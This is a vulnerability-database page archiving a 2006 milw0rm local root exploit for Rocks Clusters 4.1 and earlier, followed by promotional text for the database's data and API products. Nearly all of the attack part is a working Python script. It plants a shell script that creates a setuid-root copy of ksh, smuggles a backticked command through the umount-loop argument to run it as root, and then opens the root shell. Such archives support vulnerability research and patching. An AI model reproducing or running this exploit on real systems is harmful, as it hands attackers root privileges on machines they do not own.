Lucene search
K

Rocks Clusters <= 4.1 (umount-loop) Local Root Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Rocks Clusters <= 4.1 (umount-loop) Local Root Exploit by [email protected] [http://xavsec.blogspot.com]. Quick and nasty version of the exploit. Ensure the . is writable and clean up afterwards

Code

                                                #!/usr/bin/env python
##############################################################################
##  rocksumountdirty.py: Rocks release &#60;=4.1 local root exploit
##  quick and nasty version of the exploit. make sure the . is writable and
##  you clean up afterwards. ;)
##
##  coded by: [email protected] [http://xavsec.blogspot.com]
##############################################################################
x=__import__(&#39;os&#39;);c=x.getcwd()
open(&#39;%s/x&#39;%c, &#39;a&#39;).write(&#34;#!/bin/sh\ncp /bin/ksh %s/shell\nchmod a+xs %s/shell\nchown root.root %s/shell\n&#34; % (c,c,c))
print &#34;Rocks Clusters &#60;=4.1 umount-loop local root exploit by [email protected] [http://xavsec.blogspot.com]&#34;
x.system(&#39;umount-loop &#34;\`sh %s/x\`&#34;&#39;%c);x.system(&#34;%s/shell&#34;%c)

# milw0rm.com [2006-07-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation